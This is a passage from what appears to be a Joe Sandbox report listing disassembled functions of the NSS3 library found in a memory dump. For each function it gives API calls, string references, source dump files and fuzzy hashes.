PL_FreeArenaPool.NSS3(?), ref: 6C66ED95
PL_FinishArenaPool.NSS3(?), ref: 6C66ED9D

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

Strings

security, xrefs: 6C66ED06

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction ID: 56eb6cd63cbfa2118d350b8f7002db4c0494eb0083fe67f4112786ea2d6a1ec6
Opcode Fuzzy Hash: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction Fuzzy Hash: 281127759022146BEA105667EC44BBF72B8BF4270DF000935E81562E41FB25A60C86FF

Function 6C730EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C612357), ref: 6C730EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C612357), ref: 6C730EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B
Aborting, xrefs: 6C730EB3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction ID: f76d109661ba26248a2c20dbb1f135d969b8bd6484532fbdd40295aa701ba55f
Opcode Fuzzy Hash: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction Fuzzy Hash: 4FF0AFF69002287BDA023B619E4EC9B3E2DDF8A265F044034FD0956602DA36E92497F2

Function 6C694DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C694DCB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C694DE1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C694DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C694E59

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C75300C,00000000), ref: 6C694EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C694EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C694F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C69521A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction ID: 62e5db0a0bbccdbdc9d0479eccafcd20a15ff37aae8bb56040443ee0d915a1f8
Opcode Fuzzy Hash: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction Fuzzy Hash: 23F1AE71E0120ACFDB04CF54D8407AEB7B2BF85318F254229D915AB781EB75E982CF98

Function 6C624FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C62502A
PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C625034
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,00000001,00000000,6C770148,?,6C636FEC), ref: 6C625055
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,?,00000001,00000000,6C770148,?,6C636FEC), ref: 6C62506D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction ID: 5f22197dfa382370b3411b81d0dc851dc31975a4bd64cc99b6bbc6f1a652c6ab
Opcode Fuzzy Hash: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction Fuzzy Hash: DD31D4B1F072209BEB209A658C4CB5777B8AB1778EF314535EB0597644D3788804CFEA

Function 6C5C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C3022, 6C5C3156, 6C5C3162, 6C5C318A, 6C5C3196, 6C5C31A2, 6C5C31AE, 6C5C31BA, 6C5C31C6
%s at line %d of [%.10s], xrefs: 6C5C3171
database corruption, xrefs: 6C5C316C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction ID: 2096ab9d8fea76be8cf5d19484368f6a62000e18e1ceffe635eb16fa21b6af40
Opcode Fuzzy Hash: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction Fuzzy Hash: 80B18AB0E052199BCB08CFDDCC85AEEBBB1BB48304F14842DE849B7B45D774A945CBA1

Function 6C612D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C612D69

Strings

@sl, xrefs: 6C612E24
winUnmapfile1, xrefs: 6C612F55
Psl, xrefs: 6C612E74, 6C612EC5, 6C612F32, 6C612F5C
winUnmapfile2, xrefs: 6C612F7F
winSeekFile, xrefs: 6C612E9C
sl, xrefs: 6C612DD0
winTruncate2, xrefs: 6C612EF8
winTruncate1, xrefs: 6C612EBE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __allrem
String ID: @sl$Psl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$sl
API String ID: 2933888876-3430797899
Opcode ID: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction ID: 799d79e744c3c74dcc5caa5a45a8f2d921f19165687e68a08c20265341365a52
Opcode Fuzzy Hash: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction Fuzzy Hash: 6061A371B052099FDB04CF68DC58AAA77B1FF4A315F208138E915DBB90EB31AD06CB95

Function 6C697F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FB2

Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA51
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA6B
Part of subcall function 6C61BA40: EnterCriticalSection.KERNEL32 ref: 6C61BA83
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BAA1
Part of subcall function 6C61BA40: _PR_MD_UNLOCK.NSS3 ref: 6C61BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FD4

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C699430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C699466

PR_ExitMonitor.NSS3(?), ref: 6C69801B
PR_EnterMonitor.NSS3(?), ref: 6C698034
TlsGetValue.KERNEL32 ref: 6C6980A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6980C0
PR_ExitMonitor.NSS3(?), ref: 6C69811C
PR_ExitMonitor.NSS3(?), ref: 6C698134

Strings

), xrefs: 6C6980DB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction ID: 382e5b6e0121aa6727ce2c2f38e03b7c770a187d969e1b7fa304e7ddacc36ee1
Opcode Fuzzy Hash: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction Fuzzy Hash: 28515971A057079BEB119F34DC017EB77B0AF4A30CF08052EDD5A52A62EB31A509C79E

Function 6C63FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C63FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C63FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C63FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C63FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C63FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C63FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63FD84

Strings

:, xrefs: 6C63FD78

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: fa4d109ff5eb8e76cfa8faf99412bc652169646ac0c9f7546697f8953ea5ae42
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 1A31D3B29402295BEB018AA49D097AF77E8EF41318F152164DC1CA7B11E772E908C7EB

Function 6C620F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C620F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C620F84

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C63F59B,6C74890C,?), ref: 6C620FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C620FC1

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C620FDB
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C620FEF
PL_FreeArenaPool.NSS3(?), ref: 6C621001
PL_FinishArenaPool.NSS3(?), ref: 6C621009

Strings

security, xrefs: 6C620F5C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction ID: 3789d4186bd1c1e152a8e6d0783ab0f9f1c38c8a13310d6f4adefb1d9a79ccd3
Opcode Fuzzy Hash: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction Fuzzy Hash: EC2134B1904208ABE7109F24DC44EAFB7B4EF85658F008428FC1897602FB31DA05CBEA

Function 6C626DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C627D8F,6C627D8F,?,?), ref: 6C626DC8

Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08
Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D
Part of subcall function 6C67FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C627D8F,?,?), ref: 6C626DD5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FA0,00000000,?,?,?,?,6C627D8F,?,?), ref: 6C626DF7

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626E35

Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
Part of subcall function 6C67FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626E4C

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626E82

Part of subcall function 6C626AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C62B21D,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B01
Part of subcall function 6C626AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C626B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626F6B
PR_SetError.NSS3(FFFFE005,00000000,6C627D8F,?,?), ref: 6C626FE1

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction ID: 9b91d842e497fe2fcadea8374da5945f9b0b30d6e0f146c383471dc8f42a02fe
Opcode Fuzzy Hash: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction Fuzzy Hash: 6B718F71D102469BEB10CF15CD40FAABBA5BF95308F154229EC18DBB11F774EA94CBA8

Function 6C660FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C661057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661085
PK11_GetAllTokens.NSS3 ref: 6C6610B1
free.MOZGLUE(?), ref: 6C661107
PR_SetError.NSS3(00000000,00000000), ref: 6C661172
free.MOZGLUE(?), ref: 6C661182
free.MOZGLUE(?), ref: 6C6611A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6611C5

Part of subcall function 6C6652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C6652DF
Part of subcall function 6C6652C0: EnterCriticalSection.KERNEL32(?), ref: 6C6652F3
Part of subcall function 6C6652C0: PR_Unlock.NSS3(?), ref: 6C665358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611F3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
